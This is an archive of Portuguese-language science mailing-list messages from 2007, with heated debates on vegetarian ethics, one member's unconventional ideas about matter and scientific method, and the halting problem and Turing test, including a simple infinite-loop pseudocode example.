> > e uma ética q permite comer carne, mas defende q ocorram as situações
> > 1 a 3; o segundo sistema é superior.
> >
> > > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > > desculpas por isso, por invadir sua privacidade pois que fui mal
> > > compreendida, eu sei bem o que significa etologia e psicologia e
> > > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > > confundiu.
> >
> > Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> > de q não é sincera.
> >
> > Ninguém mencionou behaviorismo.
> >
> > > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > > diploma universitário nos permite discutir assuntos referentes ao
> > > "diploma" que temos...
> >
> > Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> > diagnóstico em área regulamentada ao qual vc não está habilitada é
> > exercício ilegal de profissão.
> >
> > > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > > para impor meu pensamento para a lista, assim como não vou discutir
> > > na lista o certo e o errado.
> >
> > Menos mal q resolveu parar de querer impor a sua visão vegan.
> >
> > > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > > me interessa.
> >
> > Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> > na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> > sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> > felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> > visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> > cuidados para balancearem bem a dieta.
> >
> > []s,
> >
> > Roberto Takata
>




SUBJECT: Re: A verdadeira foto não está no álbum, né Takata?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 15:13

Humanos são esquisitos... Uns põem culpa na comida, outros têm pena da
comida e outros, ainda, nem têm comida...

Eu heim,
JC


--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
<brunacribas@...> escreveu
>
> O boi não tem culpa nenhuma, Alvaro...
>
> Ops!O boi tem culpa de ser apetitoso...e a vaca, a galinha, os
porcos e os peixes tbm, no Nordeste o jumento tá na moda!
> No Oriente a culpa é dos cachorros e gatos, e no Egito é dos camelos!
> Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de
adoecer, na África tá gostoso é nosso parente mais próximo no prato e
na Austrália, coisa boa é um canguru assado...
> No Japão, bom mesmo é comer golfinho.
> No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi
assado...
> Ufa...aos que andam, nadam ou rastejam, cuidado...
> e lá vamos nós, o "must" das espécies do planeta comer tudo o que é
possível.
> E as nossas proteínas?
> Precisamos de proteínas!!!
> Tá tudo certo, continuamos assim...no incêndio, eu garanto a
preservação das 200 vacas se cada uma valer mais que o que trabalhador
comum pode ganhar um ano inteiro...eu tenho a ética superior, pois que
vou garantir
> AS PROTEÍNAS!!!!
>
>
> Assunto encerrado.
>
> E Homero, te pego depois nas quebradas, porque vou dedicar a ti um
tratado sobre a senciência e além, que já estou escrevendo...me aguarde
>
> Sinceramente,
>
> Bruna Carolina
>
>
> "Alvaro Augusto (L)" <alvaro@...> escreveu:
E que culpa tem o boi?
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 21, 2007 11:14 PM
> Subject: [ciencialist] Re: A verdadeira foto do Takata
>
> Proponho um churrasco para resolver essa peleja.
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@>
> escreveu
> >
> > --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > Por que seu pensamento é superior?Simplesmente porque representa a
> > > mentalidade da sociedade vigente?Quem pode julgar isso?
> >
> > Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> > superior e a ética q eu aceito (superior à sua ética).
> >
> > A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> > B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> > C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
> >
> > 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> > 2 - Eu salvaria o garoto no lugar de 3 vacas.
> > 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
> >
> > Claro q vc considera sua ética superior na medida em q condena
> > eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> > proíbe comer carne, mas defende q as situações de A a C possam
ocorrer
> > e uma ética q permite comer carne, mas defende q ocorram as situações
> > 1 a 3; o segundo sistema é superior.
> >
> > > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > > desculpas por isso, por invadir sua privacidade pois que fui mal
> > > compreendida, eu sei bem o que significa etologia e psicologia e
> > > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > > confundiu.
> >
> > Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> > de q não é sincera.
> >
> > Ninguém mencionou behaviorismo.
> >
> > > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > > diploma universitário nos permite discutir assuntos referentes ao
> > > "diploma" que temos...
> >
> > Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> > diagnóstico em área regulamentada ao qual vc não está habilitada é
> > exercício ilegal de profissão.
> >
> > > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > > para impor meu pensamento para a lista, assim como não vou discutir
> > > na lista o certo e o errado.
> >
> > Menos mal q resolveu parar de querer impor a sua visão vegan.
> >
> > > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > > me interessa.
> >
> > Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> > na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> > sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> > felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> > visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> > cuidados para balancearem bem a dieta.
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> > Roberto Takata
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SUBJECT: Re: A verdadeira foto não está no álbum, né Takata?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 15:21

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Continua a querer misturar as coisas. Mal trato é uma coisa, abate
> para alimentação é outra.

Opa, eu q maltratei a língua (de boi?): mau trato...

[]s,

Roberto Takata



SUBJECT: Re: Bruna: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 15:34

Olá Bruna!

Bruna >>> Posso me intrometer no assunto um pouco?

--- Claro! Se deseja, então, deve.

Bruna >>> Sabe, Ferrari, eu tenho lido os textos que
tens enviado para a lista, confesso que os considero
confusos, porém, respeito, pois esta é a sua visão de
mundo. Assim, como quem tem discutido aqui com vc tbm
é a visão da pessoa e isso significa que ninguém está
correto porque tudo não passam de visões.

--- Sim, isto mesmo! Concordo com vc. E no fundo,
criamos estas visões porque temos perguntas e buscamos
respostas. As visões são as respostas. Mas pergunta é
como fome. Se não tem fome, porque vai procurar
comida? Não faz sentido. E cada um tem uma fome
especifica. Eu tenho a minha. Tenho minhas perguntas.
E vou atrás das minhas respostas. As respostas da
física, por exemplo, não me satisfazem. A idéia de
partícula ser um corpo cheio no meio de um espaço
vazio não me satisfaz. Ou seja, não responde minhas
perguntas. Tenho várias perguntas que a física não
responde. A química, por exemplo, em especifico as
respostas de Lavousier, satisfazem algumas das minhas
perguntas. Minhas visões são minhas respostas. Sei
que, algumas das pessoas com quem debato aqui, não tem
as mesmas perguntas que eu, então, reclamam da minha
resposta, não faz sentido pra elas. É o caso do
Homero, por exemplo. Eu aviso. Você não entende a
minha resposta porque não está interessado na minha
pergunta... E por ai vai... Então, creio que você,
Bruna, se gasta seu tempo lendo o que escrevo, mesmo
achando confuso, é porque tem algum interesse nas
minhas perguntas e respostas.

Bruna >>> O Luiz Ferraz falou sobre o filme Secret, eu
não assisti porém, mais do que auto-ajuda e esse
assunto que anda em voga depois do "Quem somos nós?"
de física quântica, no germe de tudo há uma razão de
que quando algo nos acontece nos modifica a visão, o
nosso paradigma, a partir daí nossa vida pode
realmente mudar, nosso presente muda e nosso futuro
tbm e mais além, um fato que pode mudar toda a nossa
visão do passado e por isso, esses filmes tem razão ao
dizer que "nosso" pensamento pode modificar a "nossa"
realidade, porque afinal somos os responsáveis pelo
que sentimos.

--- Como digo na resposta que respondi ao Prof. José
Carlos, a mecânica quântica tem esta afirmação de que
é a observação que cria a realidade. Tem uma verdade
ai, mas acho que o pessoal da auto-ajuda leva isto ao
pé da letra. E, ao fazer isto, gera uma confusão e uma
briga como os físicos. Esta briga só atrapalha a
compreensão da questão. Ao meu ver, nem o pessoal da
mecânica quântica, nem o pessoal da auto-ajuda,
entende com clareza o que é muito simples:
conhecimento é fruto da intelectualização da
realidade. Ou seja, a observação cria uma segunda
realidade, e não a realidade (em si). Se aprofundarmos
mais nesta questão, vamos chegar na questão do
determinismo e do livre-arbítrio, que na verdade, é a
grande questão humana.

Bruna >>> Seria esse teu “fazer ciência"? O método
científico tbm é uma maneira de fazer ciência, não é?

--- Não há diferença entre o que chamo de “fazer
ciência” e o método cientifico. A diferença está na
aplicação. A física aplica o método cientifico no
observado. Eu proponho a aplicação do método
cientifico no observador. O resultado disto é a
ciência da ciencia. Ou seja, a compreenção do que é
"fazer ciencia".

Bruna >>> Então por que não respeitar que a sua tbm
não passa de mais uma visão, vc tbm ainda não
encontrou a verdade, e se engana se esperava isso da
escola ou da faculdade.

--- Eu respeito. Respeito a física tbm. Apenas não
concordo. Não concordo que física é sinônimo de
ciência (em si). É a ciência que possibilita a física
e não vice-versa. Mas digo isto e ninguém entende o
que estou dizendo. Fazem piada. Não me incomodo. Tudo
ao seu tempo. E nada é por acaso.

Bruna >>> Deixe as carpas nadar amigo golfinho!

--- Bonita imagem! Pra te deixar com outra, sobre a
questão das visões: o peixe não vê a água. Ou seja,
cada um aqui está vendo exatamente de acordo com sua
natureza. Enfim, tudo certo!



Sinceramente
Ferrari

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SUBJECT: Re: [ciencialist] Re: A verdadeira foto não está no álbum, né Takata?
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 16:00

Ufff.... acho que estou contemplando o abismo...

Takata, my dear, no amâgo da questão está um fato:
"os animais não humanos são vistos como propriedade"
e daí, podem ser utilizados como bem entender o desejo humano.
Mal trato é algo relativo...
Escravizar é uma espécie de tortura, e o que é feito dos animais que são escravizados, ou vai querer me dizer que não é escravidão criar animais
para deles obter carne, leite e ovos?
É mal trato forçar alimentação num ganso ou pato para dele obter uma iguaria gastronômica, ok, porém se não houvesse essa pretensa necessidade alimentar
isso não existiria...
Vc, Takata, quer comer seu bifinho em paz...pois que é o mesmo direito de quem assiste uma tourada na Espanha se diz ter....
Qual é a diferença entre matar para comer
e matar para se divertir?
Pois que nenhuma, afinal, ambas partem de uma tradição, desejo e não uma necessidade de vida.
Um hábito apenas.
Um hábito humano...

entendeu, computadorzinho?

Beijos,
da Bruna


rmtakata <roberto.takata@bol.com.br> escreveu: --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de
> adoecer
[...]
> No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi
> assado...

Continua a querer misturar as coisas. Mal trato é uma coisa, abate
para alimentação é outra.

[]s,

Roberto Takata






Bruna Carolina Ribas Silva
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"A maior tradição do ser humano é evoluir"

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SUBJECT: Re: José: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 16:04

Olá Zé!

Zé >>> Gostaria só de convidá-lo a refletir sobre
algumas de suas afirmações. Vou destacá-las abaixo e
comentar em seguida:

--- Voce sabe que estou sempre disponível a conversa
franca e de igual pra igual. Só não me agrada quando
você banca a autoridade e fica me passando sermão.

Zé >>> Ferrari, nada consta sobre ser a partícula "um
espaço cheio".

--- Sim, "espaço cheio" não é uma definição da física,
é uma leitura minha da definição da física. Uma
leitura para tornar visível a questão da cognição na
física. A física define partícula como corpo, e o
contrapõe ao espaço, que é não-corpo, ausência de
corpo. A partir disto estou dizendo que isto que a
física chama de corpo é, para a cognição, um espaço
cheio, pois caso não fosse, o corpo e o espaço seriam
a mesma coisa. Mas a física não entende que espaço e
corpo seja a mesma coisa, a física entende que corpo e
espaço são coisas diferentes, distintas. Então,
chegamos a sua segunda pergunta:

Zé >>> Eu lhe perguntaria mais: cheio de quê?

--- Ora, você é o físico, você é que teria que me
dizer isto. Mas a física não sabe a resposta. A única
coisa que a física tem que assumir, por principio e
para que a idéia de que “dois corpos não podem ocupar
o mesmo lugar no espaço” continue valendo, é que seja
lá o que for corpo, tem que ser diferente do espaço.
Tem que ser assim, pois se corpo não for diferente de
espaço, que sentido faz falar em corpo se deslocando
pelo espaço? Bem, esta é a problemática.

--- Minha solucionática é que não existe diferença
entre corpo e espaço. O espaço todo é uma matéria só,
indivisível. É isto que eu afirmo. Uma das evidencias
que tenho usado para demonstrar isto é aquela que
estive debatendo com o Takata, sobre divisão. É
impossível dividir um igual sem colocar um diferente
no meio. Outra é que o fluxo de eletricidade (energia)
pelo fio não é como gotas d´água por um cano vazio.

--- Agora, é preciso entender que a questão do igual e
do diferente (cheio e vazio) é uma questão do
conhecimento da matéria, e não da matéria em si. Ou
seja, a matéria se apresenta divida quando a
observamos, devido a natureza dual do nosso processo
de intelectualização da realidade, mas em si, a
matéria é indivisível. Já o fato do fluxo de
eletricidade (energia) pelo fio não ser como gotas
d´água por um cano vazio, aponta para a
impossibilidade do deslocamento da matéria. Aponta
para a segunda coisa que afirmo: a matéria pulsa.

--- Resumindo, o que digo é que a matéria é
indivisível e que ela pulsa. E o que conhecemos da
matéria não é a matéria (em si), mas o seu
comportamento, ou seja, o pulsar. E é por observar
este pulsar que a física postula a matéria como
partículas. Partícula é observação do pulso da
matéria.

Zé >>> Não há nenhum paralelo entre o seu conceito de
"cheio" e o conceito de "partícula". esse é mais um
dos seus chutes absurdos por absoluta preguiça de se
informar adequadamente.

--- Aqui baixou o padre José Carlos de novo. Quanto ao
chute: é gooooooool!

Zé >>> Talvez tenha fugido cedo demais...

--- Na verdade, nem cedo nem tarde, foi na hora que
teve de ser. Você já viu o tempo errar alguma vez? Eu
nunca vi.

Zé >>> A realidade é o conhecimento que você tem dela.
:)

--- Zé, este ponto aqui é fundamental. Ele é um
divisor de águas entre o que eu entendo por ciência e
o que você (e muitos aqui) entende. Discordo da sua
afirmação. E acho um tremendo equivoco um cientista
pensar assim.

--- Entendo que uma coisa é a realidade, outra coisa é
o conhecimento da realidade. A realidade é o que é,
por si só. Já o conhecimento da realidade é a
intelectualização da realidade. Juntar as duas coisas
é como juntar o liquido e o molhado. São inseparáveis.
Mas não são a mesma coisa.

--- A mecânica quântica fala uma coisa assim. A
mecânica quântica tem uma idéia (muito mal
compreendida tanto por quanticos como por
simpatizantes) de que a observação cria a realidade. O
problema desta questão está na palavra “cria” e na
palavra “realidade”. A observação não cria a
realidade, a observação “re-cria” a realidade, ou
seja, ela decodifica a realidade em uma segunda
realidade, uma realidade cognoscível, inteligível.

--- Nossa captação da realidade já é inevitavelmente
um decodificação da realidade numa realidade mental,
assim como a captação que um radio faz das ondas de FM
é inevitavelmente um decodificação nos pulsos que vão
pra caixa de som.

--- Note, se não houvesse um realidade (em si) pra
captar e decodificar, o que poderíamos captar e
decodificar? Nada, não é mesmo? Eis porque discordo de
você e da afirmação “a realidade é o conhecimento que
você tem dela”.

Zé >>> Existiram cientistas nos últimos trezentos anos
e também é fato que nenhum deles era um analfabeto que
nunca freqüentou nenhuma escola.

--- Que escola de matemática freqüentou Pitágoras?
Qual foi o professor que ensinou a lei da gravitação
pra Issac Newton? Em que livro de física Albert
Einstein estudou a teoria da relatividade?

Zé >>> estou acostumado a encontrar afirmativas suas
que depois são abandonadas por falta de sustentação.
Acho que essa é uma delas, mais um chute sem nenhuma
análise prévia.

--- Hehehe... Sim, nem toda bola que se chuta entra no
gol da verdade, não é mesmo? Mas também, quem não
chuta, nunca poderá fazer gol, não é? E sobre isto,
lhe pergunto: qual é o problema em arriscar? De chutar
uma idéia? É pecado? Se não respeitar a cartilha da
física vai pra fogueira de tubos de ensaio? É isto?

Zé >>> Você não precisa fazer nenhum esforço para ser
o pior da classe.

--- Hehehe... Se o Romário fez mil gols...

Zé >>> Acho que você apenas chuta porque tem preguiça
de pensar, estudar e se dedicar a uma reflexão mais
profunda.

--- É justamente o contrário! Eu chuto porque o que já
foi pensado (o velho) não responde minhas perguntas.
Então, chuto uma coisa que responderia. Chuto uma
maneira diferente de olhar para mesma coisa e assim
encontrar uma resposta pras minhas perguntas. Chuto um
olhar diferente pro mesmo de sempre. Não é isto que
faz a criatividade? Creio que esta troca de visão não
só pode como deve ser usada pra fazer ciência também.
Einstein, Newton, Galileu, Pitágoras, entre outros
descobridores, todos fizeram isto. Porque eu não posso
fazer? O que me impede de fazer?

-- Aliás, o que impede qualquer um de fazer? Porque
ficar repetindo sempre a mesmice? E pior! Ficar
obrigando os outros a decorar a mesmice também?

--- Enfim, qual é o pecado de errar? Você, Zé, como
professor, devia saber mais do que ninguém, que não
existe erro, apenas aprendizagem. E que não existe
nada mais sagrado e honesto do que buscar as próprias
respostas para as próprias perguntas. A escola devia
ser o templo do erro. O lugar onde vamos para errar o
nosso erro, e não pra decorar o certo dos outros. E o
professor devia ser o diabo, aquele que não se
interessa pelo certo dos outros, mas pelo erro
original, pelo novo. Contudo, olha só esta situação, o
mau aluno tendo que ensinar o professor que errar é
fundamental pra aprendizagem. Tendo que implorar ao
professor: "Por favor, deixe-me errar meu próprio
erro! Queimar minha própria mão! Quebrar minha própria
cara! Deixe-me trilhar sobre a autoridade da minha
própria consciencia. Livrai-me do seu caminho, do seu
certo e da sua autoridade! Por favor, caro mestre, se
o caminho é meu / deixa eu caminhar / deixa eu"



Sinceramente
Ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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SUBJECT: Re: JC: O Raciocinio e o Prazer ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 16:05

Olá Zé!

Zé >>> Ferrari, acho que seria muito pedir para você
resolver uma equação do segundo grau e por isso talvez
você não compreenda muito bem o prazer de resolver a
equação de Dirac e descobrir nela todo um universo de
anti-matéria por trás de operadores e coeficientes
matriciais.

--- Zé, esta sua observação é muito importante para
compreensão do tema. Note, o prazer, a satisfação, não
vem da matemática, a satisfação vem do “resolver”. Se
você resolve você fica satisfeito, se você não
resolve, fica insatisfeito. A matemática, em si, nada
tem de satisfação ou insatisfação, é apenas um
processo racional. Como diz o texto, o raciocínio é o
estrategista do sucesso, neste seu exemplo, da
solução. Mas ele é frio e calculista, apenas equaciona
os fatores e sugere o melhor caminho pro sucesso. Quem
vibra com a vitória não é o raciocínio, é o emocional,
pois satisfação é uma linguagem emocional. O Deep
Blue, por exemplo, ganhou do Kasparov no Xadrex. Mas
será que ele sabe que ganhou? Será que ele sabe o que
é ganhar? Creio que não. Ele simplesmente resolveu uma
equação. O raciocínio é assim, um estrategista a
serviço da satisfação.

Zé >>> Para você isso deve ser o equivalente de ler
poesia para minhocas, mas para nós outros mortais,
acredite-me, há bem mais prazer em um raciocínio bem
estruturado do que em uma poesia pós-moderna.

--- Zé, não apela !!! Podemos conversar numa boa sem
precisar ficar com este joguinho de ironia e de poder.
Deixe isto pro Luiz. Você não precisa disto. E ninguém
merece ficar ouvindo ironias quando está conversando
honestamente, merece?


Sinceramente
Ferrari

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SUBJECT: Re: [ciencialist] A verdadeira foto não está no álbum, né Takata?
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 16:28

Não precisamos de tantas proteínas assim.

E assunto algum jamais está encerrado.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Bruna Carolina Ribas" <brunacribas@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 2:11 PM
Subject: [ciencialist] A verdadeira foto não está no álbum, né Takata?


O boi não tem culpa nenhuma, Alvaro...

Ops!O boi tem culpa de ser apetitoso...e a vaca, a galinha, os porcos e os
peixes tbm, no Nordeste o jumento tá na moda!
No Oriente a culpa é dos cachorros e gatos, e no Egito é dos camelos!
Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de
adoecer, na África tá gostoso é nosso parente mais próximo no prato e na
Austrália, coisa boa é um canguru assado...
No Japão, bom mesmo é comer golfinho.
No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi
assado...
Ufa...aos que andam, nadam ou rastejam, cuidado...
e lá vamos nós, o "must" das espécies do planeta comer tudo o que é
possível.
E as nossas proteínas?
Precisamos de proteínas!!!
Tá tudo certo, continuamos assim...no incêndio, eu garanto a preservação das
200 vacas se cada uma valer mais que o que trabalhador comum pode ganhar um
ano inteiro...eu tenho a ética superior, pois que vou garantir
AS PROTEÍNAS!!!!


Assunto encerrado.

E Homero, te pego depois nas quebradas, porque vou dedicar a ti um tratado
sobre a senciência e além, que já estou escrevendo...me aguarde

Sinceramente,

Bruna Carolina


"Alvaro Augusto (L)" <alvaro@lunabay.com.br> escreveu:
E que culpa tem o boi?

[ ]s

Alvaro Augusto

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 11:14 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata

Proponho um churrasco para resolver essa peleja.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > Por que seu pensamento é superior?Simplesmente porque representa a
> > mentalidade da sociedade vigente?Quem pode julgar isso?
>
> Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> superior e a ética q eu aceito (superior à sua ética).
>
> A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
>
> 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> 2 - Eu salvaria o garoto no lugar de 3 vacas.
> 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
>
> Claro q vc considera sua ética superior na medida em q condena
> eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> proíbe comer carne, mas defende q as situações de A a C possam ocorrer
> e uma ética q permite comer carne, mas defende q ocorram as situações
> 1 a 3; o segundo sistema é superior.
>
> > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > desculpas por isso, por invadir sua privacidade pois que fui mal
> > compreendida, eu sei bem o que significa etologia e psicologia e
> > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > confundiu.
>
> Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> de q não é sincera.
>
> Ninguém mencionou behaviorismo.
>
> > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > diploma universitário nos permite discutir assuntos referentes ao
> > "diploma" que temos...
>
> Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> diagnóstico em área regulamentada ao qual vc não está habilitada é
> exercício ilegal de profissão.
>
> > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > para impor meu pensamento para a lista, assim como não vou discutir
> > na lista o certo e o errado.
>
> Menos mal q resolveu parar de querer impor a sua visão vegan.
>
> > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > me interessa.
>
> Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> cuidados para balancearem bem a dieta.
>
> []s,
>
> Roberto Takata




SUBJECT: Re: (Para jefferson)MOSCAS E LIVRE ARBÍTRIO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 18:04

Olá Chicão

Vou aproveitar esta resposta sua para o Jeff e combinar com a que me
enviou antes, para tentar esclarecer alguns pontos que me parecem meio
perdidos no debate, ok?

O que não estiver nesta mensagem então deve estar na anterior.

Chicão: "Minha sugestão: estude teoria da computação."

Acho a sugestão excelente, mas é meu trabalho estudar teoria da
computação, lógica de programação, linguagens de programação, etc. Eu
trabalho programando computadores, em diversas linguagens, e não será
falta de informação a desculpa para meus eventuais erros nesse
assunto..:-)

Chicão: "Bem, vou me expressar melhor: o príncipio lógico que
origina o problema da parada é o mesmo de todo
paradoxo auto-referente da lógica de primeira ordem."

Acho que realmente estamos nos perdendo aqui, em termos e definições.
O que você parece defender como sendo o problema da parada, não é bem
isso, e o teste de Turing também não lida com o problema da parada ou
mesmo de simples travamentos.

Talvez fosse melhor começarmos pela definição e ajuste de termos sobre
estes assuntos antes de continuar, o que acha?

VOu tentar traduzir as partes mais importantes do texto sugerido pelo
Takata sobre o problema da parada, embora esteja em espanhol que não é
meu forte. E podemos começar pelo mais simples, os loops infinitos,a s
formas de lidar com eles e sua capacidade de "travar" um computador.

Chicão: "O meu não entrou quando estudei o problema da parada.
> Computadores se quebram quando se deparam com este
> problemas e correlatos, como por exemplo, se duas
> gramáticas geram a mesma linguagem."

Este é um exemplo do nosso problema de comunicação, não me parece que
computadores quebrem ao lidar com o problema da parada. E nem que este
problema tenha esse nome porque computadores "param". O problema da
parada é outro, que lida com nossa capacidade de reconhecer uma parada
dentro de um sistema de algorítimos com precisão e de modo determiando
(o texto de Penrose vai ajudar bastante nisso).

Eu começaria pelo loop simples, que pdoe travar um sistema ao fazer
parte de um codígo linear de programação. O mais simples seria um erro
parecido com este:

x = 0
Do while x < 10
...codigo repetido pelo processador
x = x + 1
Loop
..próximo código

O código acima se repetiria 10 vezes e pararia, seguindo para a
próxima linha de código. Mas um erro de digitação ou intencional
poderia gerar um loop infinito:

x = 1
Do while x > 0
...codigo repetido pelo processador
x = x + 1
Loop
...próximo código

Nesse caso, o "próximo código" jamais seria atingido, e o sistema
ficaria eternamente somando 1 ao valor de x. Isso costumava travar
sistemas mais antigos, mas hoje seria difícil e é fácil
(relativamente), preparar um sistema que supere este travamento.

Em especial, sistemas multitarefa podem manter o loop e ainda
continuar a funcionar bem no resto das tarefas.

Agora o teste de Turing. Este não lida, mais uma vez, com o problema
da Parada, mas com uma avalição bastante subjetiva da questão da mente
e da consciência. Por isso, conforme sua pergunta, é um ser humano que
decide se é ou não uma máquina a estar do outro lado do console, pois
a análise depende de questões subjetivas, não objetivas.

Mas isso não pode ser usado como "prova" ou evidência da incapacidade
de uma "mente" artificial ser capaz de análises subjetivas, por
definição ou teoricamente, pois geraria um raciocínio circular. Um
computador não pode ser considerado "consciente" porque não pode fazer
análises subjetivas, e não pode fazer análises subjetivas, porque não
é consciente.

Tostines é mais fresquinho, etc..:-)

Chicão: "Em nenhum momento citei o sobrenatural. Tanto o
hardware como o software dos computadores são
construídos a partir de premissas lógicas."

Nunca disse que citou. O que eu disse é que a maioria dos que defendem
a impossibilidade se apóia em algo extra natural. E que para deixarmos
de lado o extra-natural como elemento conclusivo, tinhamos de
encontrar algo que, embora natural, também fosse impossível de surgir
em uma complexidade artificial. E não vejo como isso pode ser
apresentado ou defendido, no momento.

Se a complexidade, material, do cérebro, permitiu a evolução de um
sistema cognitivo e consciente, então me parece razoável supor que
complexidades em outros substratos são possíveis. A não ser que se
apresente algo que torne isso impossível. E penso que a capacidade de
lidar com paradoxos e o problema da parada (coisas distintas) não são
impedimentos desse tipo.

Chicão: "Indução otimista. Você sabe tanto quanto eu os
possíveis problemas disto."

Não exatamente. Quando se considerou que, como aves, voam, e seu voo é
mecânico, então deveria haver uma forma, mecânica, de voarmos também,
não era uma indução otimista, mas uma conclusão lógica. A não ser que
aves tivessem algo impossível para nós, isso seria uma conclusão
aceitável e não indução otimista.

Veja, nossa consciência, ao que tudo indica, surge pela evolução do
cérebro e da complexidade. Não parece haver nenhum impedimento em
repetir o processo, agora com softwares evoluindo, sob nossa
supervisão, como a mente o fez sob a pressão da natureza e da seleção
natural.

Tempo não parece ser um problema nesse caso, temos bastante.

Algo que devemos considerar com cuidado é a diferença entre uma
"máquina de turing" e o "teste de turing". Isso é importante ao
lidarmos com o "problema da parada" (problema de Hilbert, na verdade)
logo mais.

Um processo de controle muito usado em servidores de rede e internet é
o 'tempo de processamento", para evitar travamentos e sobrecargas. Por
padrão, qualquer script ou instrução que demore mais que 90 segundos
para finalizar, é abortado. Observe que isso equivale a um método bem
humano de controle, que é parar de receber dados quando estes ficam
maiores do que se pode lidar. Por isso nosso cérebro não trava com a
infinidade de "inputs" que ele recebe durante as 24 horas todos os dias.

A questão no problema da parada é se existe um algum procedimento
mecanico (neste caso, representado por um algorítimo) que permita
responder a qualquer (todas) as questões matemáticas dentro de um
período longo, mas bem definido? Isso se aproxima de Godel, mas é um
tanto concreto, pois se aplica a sistemas de informação e máquinas de
turing universais (todo computador é em alguma medida uma máquina de
turing).

Mas não resolver e travar são coisas distintas. Qualquer máquina pode
abandonar um problema, sem, desculpe o trocadilho, problemas.:-)

